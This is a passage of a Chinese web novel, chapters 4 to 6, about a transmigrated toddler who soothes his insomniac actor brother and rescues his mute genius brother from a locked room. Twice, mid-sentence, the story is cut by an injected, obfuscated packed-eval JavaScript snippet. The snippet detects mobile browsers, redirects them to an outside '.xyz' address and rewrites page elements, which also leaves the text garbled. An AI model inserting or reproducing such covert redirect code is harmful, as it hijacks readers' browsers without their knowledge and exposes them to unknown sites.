原文中,苏晏珩是因为严重失眠才导致猝死的,他想要帮助苏晏珩改善睡眠,但他的能力在穿进这本书里就已经失效了。 年年生活在未来时代,那个时代的大多数人都觉醒了异能,而在几天前,年年发现自己觉醒了治愈系异能,这异能会随着他长大而越来越强,到时候,他不需要去医院接受治疗,自己就能治愈自己。 可惜,他还没来得及长大,还没等到异能强大的时候,就突发心脏病死亡了。 在这个世界睁眼醒来的时候,年年就知道这是个普通人的世界,这个世界的他是没有异能的。抱着死马当活马医的心态,他试着用记忆中的方法去帮助苏晏珩,尽自己可能的与苏晏珩贴贴碰碰,企图用自己的气息淹没苏晏珩。 没想到苏晏珩能够成功睡着,年年不得不怀疑,自己的能力是不是没有消失? 遮阳伞挡住了头顶猛烈的阳光,苏晏珩的脸上蒙着一层阴影,眼下的乌青更是严重。 年年心急不已,放下花束,拉着苏晏珩在旁边的躺椅躺下,催促道:“哥哥你快点睡吧。” 苏晏珩看了眼高悬的大太阳,自嘲道:“大白天的,怎么睡得着?” 年年一本正经道:“就因为是大白天才好睡觉呀,吃完饭最适合睡午觉了,哥哥你快睡,年年陪着你。” 小崽子软乎乎的声音萌得苏晏珩心肝直颤,恨不得答应他提出来的所有要求。 “好吧,听你的。”苏晏珩心里没底,还是听劝地闭上了眼睛。 两张躺椅并排放在一起,感觉到身边的小崽子动了动,柔软触感贴上他的手臂,苏晏珩睁眼一看,就见小家伙整个身体都挪到了他身侧,小脑袋正慢慢往他胸膛上缩,见他发现了,一双乌溜溜的大眼睛写满了严肃:“哥哥快睡。” 你这样我没办法睡啊,只想拿手机记录下来。 苏晏珩无奈地再次闭上眼,身上的小崽子终于安分下来,似乎找到了合适舒服的巢穴,乖乖不动了。 闻着小崽子身上飘散的奶味,苏晏珩渐渐放松神经,不知不觉沉入梦乡。 他不知道,在他睡着后,小崽子将他裸/露的皮肤都给摸了一遍,嘴里还不停念叨着“快点睡”,这一连串的举动没有将已经熟睡的他洗脑,反倒把自己给洗脑了,闹腾了没一会,小崽子就酝酿出睡意,趴在他胸膛上睡着了。 半晌后,一抹小身影出现在花园内,安静地观望紧挨在一起的两人,目光落在小孩鼓起的脸颊肉上,良久后才不动声色地离开了花园。 4. 第 4 章 苏晏珩醒来时,烈日当空已经变为了残阳如血,苏宥年乖巧地缩在他怀里,长期保持一个姿势被压平,鼓起的脸颊肉通红不堪,小崽子睡颜恬静,似乎正在做一场美梦,小嘴微张,流出一串晶莹口水,将他胸前的布料染湿了一块。 苏晏珩僵硬了片刻,洁癖症竟奇迹的没有发生,他掏出手帕,帮小崽子擦去溢出的口水。 苏晏珩醒来的时候,年年恰好在苏醒边缘,被苏晏珩蹭了几下,他悠悠转醒,嘴巴一撅,下意识含住嘴边的东西,还用力嘬吸了两口。 苏晏珩:“……”这是饿狠了,把他的食指当吃的了? 苏晏珩再也按捺不住自己的渴望,拿起桌子上的手机,对着年年连拍了好几张照片,以防刚才的尴尬发生,他在睡前将手机设置成了静音,年年压根不知道苏晏珩做了什么。 连拍数十张照片后,苏晏珩才心满意足地放下手机,轻轻掐了下小崽子的脸颊,好笑道:“快松口,我带你去看看饭做好了没有。” 年年还没完全清醒,苏晏珩要做什么就做什么,乖乖松开苏晏珩的食指,完了砸吧下小嘴,似在回味手指的味道。 苏晏珩边低笑,边抱起还在犯迷糊的年年。 “还没睡够?” 年年趴在大哥哥十足安全感的肩膀上,缓慢晃动小脑袋,声音比清醒时还要软糯:“睡、睡够啦,哥哥再给年年一点时间,年年马上起来……” 话音未落就接上一个哈欠,挣扎着将小脑袋从苏晏珩肩膀上摘,可惜身体都睡软了,没什么力气,才刚撑起半个脑袋就又软乎乎地栽回苏晏珩肩膀上。 苏晏珩好笑不已。 管家见到进来的兄弟俩,忙上前迎接,伸手就要来抱年年。 苏晏珩侧身避让,仿佛护一块稀世珍宝般将年年往自己怀里又带了带。 管家的目光往苏晏珩的衣服上一扫,意有所指道:“大少爷,我先帮您照顾小少爷,您去收拾一下?” 管家也知道苏晏珩的洁癖,若放在平时,这些口水痕迹绝对会让苏晏珩崩溃,苏晏珩却表现得很平静,淡然道:“没关系。” 嘴上这样说,管家的话还是被放在了心里。 弟弟会不会觉得他很邋遢? 担忧情况可能真的发生,苏晏珩这才不情不愿地将年年交给管家,沉声叮嘱道:“我很快就下来,年年要是有情况就叫我。” 管家连忙应和:“我知道了。” 看着苏晏珩急切奔上楼的背影,又看看年年还犯着迷糊的小脸,管家深刻感受到了苏晏珩会转变的原因。 苏晏珩出生前他就在苏家做事了,可以说是看着苏家几位少爷长大的,苏家四个孩子个顶个的好看,尤其是最小的少爷,跟个年画娃娃似的。 上楼的时候,苏晏珩和佣人陈妈撞上,陈妈也是苏家的老人,和管家一个年纪,她笑呵呵道:“大少爷,小少爷真的很喜欢您呢。” 苏晏珩:“嗯?” 陈妈拿出手机,不怎么熟练地翻开相册,找到一段视频播放。 视频中,苏晏珩静静躺在躺椅里,他身上的小崽子十分不安分,趁着他睡着不停在他手臂、脸颊和脖子摸索,嘴里还不停念叨着什么,镜头隔得远,前面几声太轻,苏晏珩没听清楚,视频播放到结尾,他才根据小崽子的口型辨别出,小崽子说的是“快点睡”。 陈妈:“我还没见过小少爷跟谁这么贴过呢,连夫人都没有。” 苏晏珩内心大受震撼,亲眼看到弟弟用黏糊糊的小手摸了他满头满脸,他还是没有丝毫厌恶的情绪,反倒加深了“弟弟喜欢他”的印象。 这会的他早就忘记“苏宥年”曾一见到他就哭的事情了,“苏宥年”带来的伤害也早就抹除干净。 苏晏珩火速换好了衣服,还特地洗了把脸,在镜子前整理了下自己的头发,这才快步出门,下楼的时候,他不忘拿出手机,将挑选好的几张年年的照片发到了自己的微博。 苏晏珩微博粉丝八千多万,他不喜欢拍自拍照,微博都交由经纪人来打理,熟悉他的粉丝都知道,哪些微博是工作室发的,哪些微博是他本人发的,而苏晏珩发微博的次数寥寥无几,基本保持一年一次。 前几天,剧组杀青后,苏晏珩难得发了条庆祝杀青的微博,不过几天,他竟然又发了微博,这可打破了以往的记录。 粉丝点进去一看,立马傻眼了。 【这是什么意思?这孩子是谁?哥你别吓我啊!你难道隐婚生子了?】 【这小孩长得真好看,眉眼跟苏影帝一模一样呢,肯定是他的小孩,祝福祝福!】 【祝福个鬼啊!苏晏珩,你背着我都做了什么!我们什么时候生的孩子,你为什么不告诉我???】 【这一届的狗仔不给力啊,这孩子怎么着也有个两岁吧,从怀孕到现在,怎么一点消息都没有透露出来,还要正主亲自公开?】 【呜呜呜我不相信,是哪个小妖精勾引了我哥!】 【你们没发现一个重点吗?我听说苏晏珩的洁癖很严重,这小崽子在他衣服上画画他竟然没生气???】 【自己的孩子当然不生气呀!】 【人苏影帝也没说这是他的孩子,你们别忘记了,影帝可是有好几个弟弟的。】 苏晏珩忙着炫耀可爱的弟弟,忘记解释苏宥年的身份了,等经纪人兆顺打电话联系他时,微博已经炸了,他的多条热搜霸占了首页,已经发展到他“隐婚生子”了。 苏晏珩被网友的脑补能力所折服,连忙发了条澄清微博—— 【@苏晏珩:不是私生子,本人目前单身,照片中的孩子是我弟弟[图片]】 为了更有效的解释清楚,苏晏珩还发了一张全家福以作证明,父母都是商界人士,常年登上财经杂志,二弟是有名的电竞选手,三弟是神童,几人早就在大众面前露过脸了,苏晏珩压根不担忧隐私暴露的问题。 【老天爷太不公平了吧,好基因全都给了这家人,爸妈男帅女美就算了,孩子们还都那么好看。】 【下辈子能不能让我穿进这个家庭QAQ?我只负责美貌就行!】 【我以为三弟就够漂亮的了,没想到小弟弟更加漂亮,看这肥嘟嘟的脸蛋,简直是往我的萌点上长!】 【这是什么神仙家庭啊,当他们家的小孩一定很幸福!】 看到这条评论,苏晏珩的笑容僵硬了。 在外人看来,这个家从父母到孩子,个顶个的优秀,只有他们知道,这个家存在很多问题。年年听话乖巧的背后隐藏了许多疏忽漠视。 苏晏珩下楼时,年年已经清醒了,他被苏晏珩接回怀中,被放置在苏晏珩身边的儿童座椅里。佣人端上来一盘接一盘美味的食物,都是他没有见过也没吃过的,年年不禁舔舔小嘴,渴望之情溢于言表, 苏晏珩帮年年系围兜,管家在一旁小声道:“三少爷下午就回来了,我敲了很多次门,他都没有回应。” 苏晏珩的动作一顿,年年也抬头看向担忧不已的管家,聪明的小脑瓜让他立即想起了三少爷的名字,兄弟中唯一跟母亲姓的三哥季岁则。 季家在S市根基很深,各行各业都有他们的身影,季老爷子和夫人有一对儿女,儿子遗传了夫妻俩的高智商,孩童时期就展露了与同龄人不符的聪明才智,七岁就跳级读了初中,却在隔年因车祸成了智障,如今五十多岁的人了还像个五岁小孩。 季老爷子年事已高,将家业交给了不输男人的女儿,也就是苏宥年的母亲,季夫人今年52岁了,她一直想在退休前找个优秀的接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691329|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班人,她的几个孩子都很聪明,都是最佳人选,无奈大儿子一心扎根在娱乐圈,二儿子沉迷电竞无法自拔,能延续季家繁荣的只有三儿子季岁则。 五岁的孩子们都还在为一根棒棒糖争执不休,季岁则已经能够自由出入季家的所有公司,面对一群比他大了几十岁的长辈也不怵。当然,他再聪明,这个年纪也没办法经营和管理好一家公司。 季老爷子时常将季岁则带在身边,是想季岁则早早适应未来的生活,也想趁自己神智还清明的时候,多教孙子一些东西。 鸡娃教育会产生许多弊端,季岁则的毛病不是因为鸡娃教育而造成的,他从小就不爱说话,很多专业医生经过多次检测判定,季岁则并不是压力过大才导致失语,天才大多有自己的个性,季岁则只是单纯不想说话罢了,也因为后来的一场意外,才让他愈发沉默寡言。 季家人为此深刻反省过,确定孙子不是被他们逼成这样的,孙子也愿意学习这些知识,他们才放下半颗心,剩下的半颗心,都被季岁则的病情给吊着。 季岁则这一年来没有开口说过几句话,学校放假的时候,他大多数时间都会把自己关在房间里。佣人们敲不开他的房门,放在门口的食物大多都是一口未动,他只有在饿极了的情况下才会主动提出要吃饭。 管家这话一出,苏晏珩立马便明白,弟弟的毛病又犯了。 人是铁饭是钢,更何况三弟正在长身体的年纪,一直不吃饭,身体肯定会受影响。 苏晏珩拍拍年年懵逼的小脸,轻声道:“我去叫你三哥下来吃饭。” 年年朝大哥张开双臂:“年年也要去。” “你去做什么。”苏晏珩将年年的小手按了回去,指着他的左脚道,“脚都这样了,就给我老老实实坐着,哥哥很快就下来。” 他是觉得苏宥年黏人的毛病又犯了。 连一刻都不愿意离开自己吗? 啧,这小崽子怎么那么黏人! 年年这会没想着黏紧大哥哥,他想见见这位传说中的三哥。 在这个家,只有三哥与他的年纪相仿,说不定他们能成为很好的朋友。 被妈妈关在家里的时候,年年无数次想过,他要是有个兄弟姐妹就好了,这样他就不孤单了,不管是哥哥姐姐还是弟弟妹妹,他相信他都能好好照顾对方,他要的不多,只有一点点的陪伴就足以满足。 跟三哥成为朋友的前提是治好三哥的失语症。 在他的帮助下,大哥哥已经睡过两次觉了,年年不禁相信,他的能力还在,他都能治疗好大哥哥的失眠症,那失语症应该也能治好吧? “年年也想去。”年年拉住大哥哥的衣袖,小嘴一撅,露出固执又委屈的表情。 苏晏珩立马就丢了魂,连连说了好几个“好”,抱起年年往楼上走,上楼时还拍了下年年的屁股,故作埋怨道:“你怎么那么黏人,哥哥休假结束去工作了,见不到哥哥,你怕不是要哭?” 年年早就习惯了独自一个人待在家,只有黑暗和严重孤独才会让他哭,苏家有管家有佣人,他知道大哥哥工作结束后就会回家,这点等待对他来说并不煎熬,他自然不会哭的。 可看大哥哥高兴的样子,感觉到大哥哥喜欢被他黏着,年年没有戳破真相,抱住大哥哥的脖子,软乎乎道:“年年会乖乖在家等哥哥回来。” 苏晏珩没绷住表情,还是在小崽子面前破了功,笑得露出八颗牙齿。 心想,小崽子还没到上幼儿园的年纪,他可以把小崽子带去工作的地方,到时候多聘请几个助理来照顾小崽子,这样就可以免除分别的痛苦了。 他绝对不是为了自己,而是为了小崽子考虑! 他可不想再看到,小崽子因为见不到他而哭唧唧的模样了。 5. 第 5 章 这栋别墅一共四层,父母住在三楼,苏家几个兄弟都是住在二楼,季岁则的房间就在年年的斜对面。 他们到的时候房门紧闭,陈妈正在试图敲开季岁则的房门,不时说道:“三少爷,您从中午起就没有吃饭,一直不吃饭,胃可怎么受得了呀,您要是不想下楼,我给您端上来?” 回应陈妈的是一片沉默,陈妈早就习惯季岁则的无视,不厌其烦地又敲了好几下房门。 “陈妈,让我来吧。” 看到苏晏珩,陈妈心下稍安,退开几步,将位置让给了苏晏珩,她想接过年年,帮苏晏珩分担一下重量,被苏晏珩不动声色地避开了。 “没关系,我抱着年年就好。”苏晏珩说完,抬手敲了敲房门,中气十足道,“季岁则,出来。” 苏晏珩一开始对待三弟也是柔声细语的,软的不行就开始尝试硬的,最后发现,他这位弟弟是软硬不吃,无论你对他什么态度,他都用无动于衷的态度应对你。 久而久之,苏晏珩发觉,软的对季岁则完全无用,强硬一点,季岁则偶尔还会听你的话。 苏晏珩想在苏宥年面前彰显哥哥威严的形象,开口后就意识到自己语气过于强硬,他连忙放软了些语气:“季岁则,我们都等着你一起吃饭呢。” 回应苏晏珩的依旧是沉默。 苏晏珩决定采取“动之以情,晓之以理”的方式,但无论他说了多少好话,门板依旧纹丝未动,也没得到季岁则的一声回应。 这要不是与自己血脉相连的亲弟弟,苏晏珩哪还会管这家伙的死活,他从来没这么好声好气地哄过谁,偏被哄的家伙还不领他的情。 若在平时,被无视就无视吧,现在苏宥年在场,还用乌溜溜的大眼睛直勾勾盯着自己,大哥的尊严和威严不能丢弃。 苏晏珩振奋精神,又猛敲了下房门:“季岁则,你再不开门,我就让人强行破门了。” 年年只接受了简略的人物介绍,亲眼所见才知道,这位三哥到底有多难搞,也能看出大哥哥对三哥有多纵容耐心了。 要是他敢无视妈妈的一句话,轻一点是破口大骂,重一点是落在他脑袋上的重重巴掌。 年年忽然有些羡慕起三哥来,两位哥哥虽然对他不是时刻上心,但也没有用刻薄的态度对待他。 年年的羡慕没有维持太久,就见苏晏珩的淡定从容早就消失无踪,胸膛剧烈起伏,显然是气得狠了。他把年年交给守候在一边的陈妈,趴在门板上聆听里面的动静。 家里人尊重孩子们的隐私,不限制孩子的自由,季岁则提出换密码锁时,父母想也不想就答应了,等安装好了才知道后果有多严重。 苏晏珩担忧最深的不是季岁则会饿到自己,季岁则饿了自然会自己找吃的,他最担心的是,季岁则会再次做出危险的事情来。 季岁则一旦专注某样东西就会忽略周遭的事物,某一次,大风将纸张吹向了燃起的火堆,季岁则专心手上的实验,没注意到起火了,等屋子里的火灾报警装置响起时,管家才带着人破门而入,及时阻止了火势蔓延,也救下了一脸平静的季岁则。 在那之后,父母换回了普通门锁,谁想到季岁则又偷偷将密码锁安装了回去。 这把锁只能靠唯一的钥匙和密码才能打开,钥匙在季岁则手中,密码只有季岁则知道,如果季岁则想,他能一辈子躲在这间房间里不出来。 季岁则又极度讨厌被监视,父母为了他的安全考虑,想在他房间里装摄像头,被他强烈拒绝了,父母没有办法,只得清除他房间里所有危险物品,只要他在家,每隔一个小时就会让佣人去看看,这才没有出现问题。 “你不想跟我们一起吃饭,我也不逼你,你饿了就跟王妈说,你现在只要回应我一声,我立马带着人离开。”苏晏珩按捺着怒气,给了最后一个台阶。 他的话音落下没多久,屋子内传来重物落地的声音,苏晏珩的心猛地高悬,耳朵刚贴过去,门板的另一边,有什么东西撞了上来,声音隔着厚厚的门板,清晰地传入他耳里,炸得他耳膜生痛。 想来这就是季岁则的回应了,跟以往一样,季岁则不想说话的时候,就会拿东西敲击身边的东西以作回应。苏晏珩要求季岁则回应一声,季岁则很给面子的回应了两声。 苏晏珩放下心来:“那我就先带年年去吃饭了,你要饿了就跟陈妈说,或者给我打电话。” 门板再次被撞击,又是季岁则独特的回应。 年年重新回到苏晏珩的怀中,眼睛还紧盯着门板,苏晏珩以为他是好奇,解释道:“你三哥就是这么奇怪一小孩,他连咱妈都不搭理,你习惯就好。” 年年拉住苏晏珩的衣领,指指门板:“看看。” 苏晏珩:“看什么?” 年年:“看看三哥哥。” 苏晏珩:“他不想跟我们一起吃饭,你也看到了,他连门都不想开呢。” 过早的独立锻炼出了危机意识能力,某一次,年年又被妈妈关在家里,老房子隔音不好,他听到隔壁响起断断续续的奇怪声音。 隔壁住着一位老奶奶和她刚满三岁的小孙子,每到这个时间段,老奶奶都会去楼下菜场买菜,她会将门窗锁好,快点去快点回,没出过什么事。 今天老奶奶还是踩着点出门,却响起了之前都没有过的声音。 年年爬到窗台上才发现,老奶奶出门时忘记关上窗户,小孙子此刻正挂在防盗窗上,脖子卡在栏杆间隔中,脖子以下的身体已经悬空,他应该才刚掉下去,脸颊还没呈现青紫色,栏杆卡着他的脖子,让他发不出声音,处境危险,只能不停用小手敲打防盗窗。 年年快速回房间拨打了报警电话,又翻出通讯录,拨打了附近几个饭馆老板的电话,通知他们先上来拉住小孙子,警察和消防员及时赶到,这才避免了悲剧发生。 这件事后,年年得到了邻居们的夸奖,小天才的名号响彻整片小区,却始终得不到爸爸妈妈的夸奖。 年年对危险的感知能力很强,对声音更是敏感。 这会苏晏珩停止说话,忽然安静下来,他敏锐地捕捉到了房间内不同寻常的声音,隐约预感到房间内的人正处于危险中。 年年焦急地拉扯苏晏珩的衣领:“哥哥,看看。” 苏晏珩下意识哄道:“好好好,看看看,这就看。” 可他也不知道如何打开这道门,难道要强行踹开吗?又没发生什么大事,不由分说踹破大门,三弟肯定要生气。 “240415。”年年飞速报出一串数字。 苏晏珩一愣:“什么意思?” 这数字不是季岁则的生日,而是季老爷子正式决定把季岁则作为季家继承人培养的日子。 年年半个身体挂了出去,要去碰门上的密码锁,苏晏珩反应过来,拉住快掉下去的弟弟,慌忙按下了这串数字。 成功解锁的提示音让他怔住,陈妈惊慌的大叫声令他回过神来,看向房间。 房间窗帘紧闭,走廊内的灯光照亮了靠近门的地板,离床最近的地板上躺着一团模糊黑影,不是季岁则又是谁呢? 苏晏珩慌乱间还不忘先将年年交给同样慌乱的陈妈,快步冲进房内,小心翼翼扶起趴在地上的弟弟。 “没事吧?”苏晏珩摸了摸季岁则的额头,管家打开了房间内的大灯,灯光亮起的瞬间照亮了季岁则苍白的小脸。 五岁的孩子要比同龄人瘦小许多,清秀的眉眼中透露出几分不属于这个年纪的成熟,他缓慢眨动眼睛,捂着胃所在的地方,难得说了一大段话:“这里疼,老毛病,不用去医院,左边第二个抽屉有药,我没力气拿,麻烦你帮我拿一下,两粒就够了,谢谢。” 声音虽然虚弱,但仍旧能够清醒地做出判定,不难肯定,如果他有力气的话,早就自己解决问题了,根本不需要苏晏珩的帮忙。 苏晏珩又心疼又恼怒,听着小孩用稚嫩的声音说出成熟的话,又很是头疼无奈。 要不是亲眼看到季岁则被护士抱着走出手术室,他都怀疑季岁则比他还大几岁,他五岁的时候,摔一跤还要哭着让管家来抱他,季岁则已经能够冷静地对自己的病情做出判断并且找到解决方法了。 他真的想叫季岁则一声“哥”了。 “都这样了怎么不求救?” 季岁则抿唇不语,吃了药后又恢复到了沉默寡言的状态。 他求救过,但久未发声,加上身体虚弱,声音太轻,门外的人根本听不到。 智能手表在洗手时摘下就忘记带回去,他只能抓住身边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691330|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西朝门板丢,试图让苏晏珩明白他的意思,可惜苏晏珩没能理解,就在希望破灭的时候,他听到门外响起一道奶呼呼的声音,焦急地报出了一串熟悉的数字,然后,就响起了解锁声。 季岁则被放在了床上,靠着床头,漆黑双眸沉沉凝视被苏晏珩抱在怀中的小团子。 对这个比自己小了两岁的弟弟,他最深刻的印象是愚蠢。 为了博得父母的关注,一味采取哭闹的方式,前面成功过几次,但一个方法用多了总会失效。 他不喜欢跟愚蠢的人来往,不是瞧不起他们,而是觉得跟这些人说话没有意义,对方也不会理解他的想法,而且还觉得他某些举动很奇怪,并提出可笑的质疑,久而久之,他就懒得去解释,也不愿意开口说话。 这个弟弟很害怕自己,也不喜欢其他两个哥哥,每次见到他们掉头就走。没想到,他会第一个发现自己出了事,还破解了他的密码。 季岁则只能想到,他在输入密码的时候,被躲在一边的苏宥年悄悄看了去。 虽然很感谢苏宥年的救命之恩,但他还是决定在身体恢复后,就把密码给换了,他不喜欢别人踏入他的私人领域。 苏晏珩不放心,叫来了家庭医生帮季岁则做全身检查。 苏家两个孩子连续受伤,家庭医生最近来得很是频繁,帮季岁则做完检查,得出一个还算好的结论,医生又开了几瓶药以作备用,这才离开。 忙碌了一会早就过了饭点,晚饭正在重新加热,苏晏珩抱着苏宥年坐到季岁则床边,伸手在季岁则的脑门上敲了一下。 “知道锁门的后果了吗?” 季岁则面无表情地点点头。 苏晏珩:“那还锁不锁门了?” 季岁则还是点了下脑袋。 苏晏珩深吸口气,又敲了下季岁则的脑袋:“这次要不是年年机灵,发现你的不对劲,你难道要在地板上躺一晚上?” 季岁则丝毫没被后果吓到,拿出手机,正准备输入文字,苏晏珩还处于后怕中,直接抢了他的手机,严肃道:“打什么字,有嘴就给我说话。” 季岁则愣了愣,终于露出这个年纪小孩应该有的委屈,只不过一闪而逝,快到苏晏珩没有发现,干巴巴道:“陈妈每隔一个小时会来看我,我一直没回应,你们肯定会察觉异样。” 苏晏珩没被季岁则的解释说动,反而被季岁则无所谓的态度弄得怒火丛生。 他告诉自己要冷静。 他是大哥,他应该要维持大哥的镇定从容。 他已经28岁,早就是成熟的大人了,不该跟一个小孩子计较! 不计较个鬼啊! 外人面前的苏影帝谦和有礼,早年的他也的确是那样的,被失眠症折磨多年,苏晏珩的脾气越来越暴躁,也只限于私底下,不会暴露在年幼的弟弟面前。 如今被季岁则的事情刺激了,他彻底抛弃伪装,两手齐上,按住季岁则的脑袋,恶声恶气道:“我明天就让人把你那该死的门锁给拆了,下次再有这种情况发生,我肯定狠狠揍你!” 季岁则的脑袋被摇得左摇右晃,思路却很清晰:“这是家暴。” 苏晏珩一噎,改口道:“那我就打你屁股。” “……”噎住的人成了季岁则,他惊恐地睁大双眼,似乎无法接受被大哥打屁股这件事。 苏晏珩终于抓住了他的弱点,皮笑肉不笑道:“你要是不想被我打屁股,就别阻止我把门锁给卸了。” 季岁则动了动嘴唇,再聪明的脑子也无法想出反驳的话,哥哥教训弟弟是天经地义,而且打屁股也不算家暴,谁知道大哥会采用怎样的方式来打他? 季岁则思来想去,决定无视苏晏珩的话,他明天就搬去外公那住一段时间,等大哥休假结束再搬回来。 年年缩在大哥哥的怀里,目睹了一场兄弟吵架的大戏,嘴角止不住扬起。 他不是嘲笑三哥被大哥骂了,第一次拥有了那么多的哥哥,第一次见到哥哥们吵架的画面,他能感觉到苏晏珩没对季岁则动真火,更多的是哥哥对弟弟的担忧,他只觉得窝心,不自觉就笑了起来。 季岁则盯着小团子左颊那颗深深凹陷的梨涡,里面仿佛隐藏着一个黑洞,将他的眼睛吸了进去,无法挪开。 6. 第 6 章 算算时间,食物应该重新加热好了。 “饿了吧,哥哥这就带你去吃饭。”苏晏珩抱起年年,又看向季岁则,“你要下楼吃饭吗?” 季岁则还没来得及摇头,头顶就飘来一声软糯的童音:“哥哥下楼一起吃饭。” 季岁则的目光从小团子的嘴角挪到了眼睛上,这才发现,这位弟弟有一双漆黑明亮的眼睛。他一次都没有好好看过苏宥年,隐约记得,苏宥年的眼睛没有这么清澈明亮,跟颊边的梨涡一样带有魔力,让人挪不开眼。 苏晏珩:“要不要下楼?” 问出口的时候,苏晏珩就猜到了答案,但季岁则给了他一个意外的回答,季岁则点了下脑袋。 苏晏珩愣住,明明是简单的动作,却让他的思考变得迟缓。 季岁则打算下楼吃饭? 季岁则打算跟他们一起吃饭? 这家伙怎么也变得古里古怪的? - 晚饭以海鲜为主,苏晏珩的是海鲜烩饭,年年和季岁则的都是海鲜粥。 食物上桌后,年年还是习惯性抓起小勺子,勺子才入手就被大哥哥夺了去。 “哥哥喂你。”苏晏珩亲昵地说道。 年年:“哥哥也要吃饭的。” 弟弟的关怀令苏晏珩十分受用,苏晏珩心花怒放,表现得还是十分镇定:“喂你不耽误我吃饭。” 年年想说“我自己可以吃的”,自己吃自己的不是更快吗? 感觉到苏晏珩的跃跃欲试,年年将话咽了回去,他其实也是很想被投喂的,只是担心会给大哥哥增加负担。 大哥哥的主动消减了他的不安,他挪动小身体,往大哥哥身边靠近了些,软声软气道:“我喜欢哥哥喂我。” 苏晏珩恨不得在小崽子周围摆满摄像机,这样就不会错过小崽子可爱的时刻了。 苏晏珩的学习能力不错,有过一次经验,这次不再像第一次那般生疏,海鲜粥送到小崽子嘴边时,小崽子还是把嘴巴张大到极限,这惹得他笑出声来。 苏晏珩把粥喂给年年后,才戳了下他鼓鼓的腮帮子,提醒道:“不用把嘴巴张那么大,哥哥下次喂少一点,张这么大,你就不累吗?” 年年把食物吞下后才道:“一点都不累。” 苏晏珩端起年年那碗粥闻了闻,状似疑惑道:“是海鲜粥啊,不知道的还以为你吃的是小米粥呢。” 说话那么甜。 苏晏珩疼爱年年,也没有忽略季岁则,他把刚剥好的罗氏虾放入季岁则碗里,坏心一起,故意问:“要哥哥喂你吗?” 季岁则全身窜起鸡皮疙瘩,冷漠地凝视苏晏珩,答案不言而喻。 “一点都不可爱。”苏晏珩撇了撇嘴,“别浪费你这张脸,你应该多做做表情,这样才会有更多人喜欢你哦。” 季岁则低下头,对苏晏珩的话充耳不闻。 他要那么多人的喜欢有什么用?陌生人的喜欢反而会更给他增加没必要的负担。 “还要虾吗?” 季岁则以为苏晏珩是在问自己,抬头就见苏晏珩面对苏宥年,小团子正狂点小脑袋,嘴角咧开,露出两颗白白小小的门牙。 苏宥年说话早走路也早,唯独牙齿长得很慢,快三岁了牙齿才终于长齐,有几颗牙还没有全部长出来,比如门牙两侧的牙齿,对比之下,门牙就显得格外突出,但他的门牙不是长而大的,小小的,看着格外可爱。 季岁则莫名想到了上次在森林公园看到的花栗鼠。不管硬的食物还是软的食物他都会细细咀嚼才会吞下去,吃相很乖。 他还发现苏宥年的两个习惯,吃到比较硬的食物时,他喜欢用门牙慢慢磨几下,才开始咀嚼。吞咽食物后,他会习惯性抿起嘴角,为吃到好吃的食物而感到开心,同时暴露了他嘴角的秘密。 苏晏珩也发现了弟弟这个小习惯,在年年再一次抿动嘴角时,他的食指迅速按住年年那颗梨涡。 年年一怔,疑惑地看向大哥哥。 苏晏珩面不改色道:“嘴角沾到脏东西了。” 年年没有怀疑,还主动将脸凑了过去:“哥哥帮我擦一擦。” 弟弟主动送上门,苏晏珩哪能放过这个好机会,连戳了年年的梨涡好几下,直把年年的嘴角摸得发红才停手。 年年没发现大哥哥的私心,苏晏珩刚收手,就冲苏晏珩露出甜甜的笑:“谢谢哥哥。” 苏晏珩:“……” 弟弟傻得太可爱了,良心忽然有一点点痛。 - 苏晏珩刚把年年放进客厅沙发里,就接到了经纪人的电话,他跟弟弟说了声,转身去了花园。 苏晏珩离开没多久,季岁则悄无声息地走到了年年身后。 电视上正在播放最新一集的动画片,年年的注意力被电视吸引,季岁则已经站在他身侧了,他还是没有发现。 眼前出现一只小手,手心里放着一块粉色糖果,年年一怔,看向手的主人。 “哥哥。” 小孩的声音并不清脆,跟笼罩在他身上无法消散的奶味一样,带着一股黏糊劲,软乎乎的,叫的人耳根子都软了。 季岁则手又往前伸了伸,年年猜测道:“给我的吗?” 季岁则点点头。 “谢谢哥哥。”年年笑着道谢,抬手来接糖果,季岁则却忽然收回手,他的手落空,笑容僵在脸上,不解道,“哥哥不打算给我了吗?” 季岁则摇摇头,年年不知道这是什么意思,乌溜溜的眼里充满了迷茫。 从小到大,年年尝过无数次失落的滋味,妈妈说好要给他买好吃的,十次有九次都失约,唯一的一次,他终于吃到好吃的小蛋糕了,又因为妈妈突然脾气发作,将给他的蛋糕收了回去。 经历过无数次这样的事情,年年以为自己不会再失落了,但他毕竟还是个刚满三岁的孩子,哪里会不失落呢。 年年眨眨眼睛,强迫自己不去看那颗糖果。 没关系,他一点都不喜欢吃糖。 三哥哥不给他糖也没关系,大哥哥肯定会给他的。 这样想,那颗糖果突然落入他手心里,年年再次朝季岁则投去疑惑的眼神。 季岁则原以为小团子会冲他露出灿烂的笑容,就像面对大哥时那样的笑,当他将糖果递出去的时候,小团子是笑了,但没有梨涡。 这梨涡藏得可真够深的,也从而印证了一点,小团子给他的笑,和给大哥的笑是不一样的。所以他在中途将糖果收回。 小团子的双标让他有些不高兴,看见小团子失落的表情,不高兴又转化成了莫名其妙的情绪,手先于脑子,将糖果送了出去,然后,他就收获了小团子灿然的笑容。 他终于看见了那颗如黑洞般吸引他的梨涡,还是不受控制的,伸手戳了下那个浅坑。 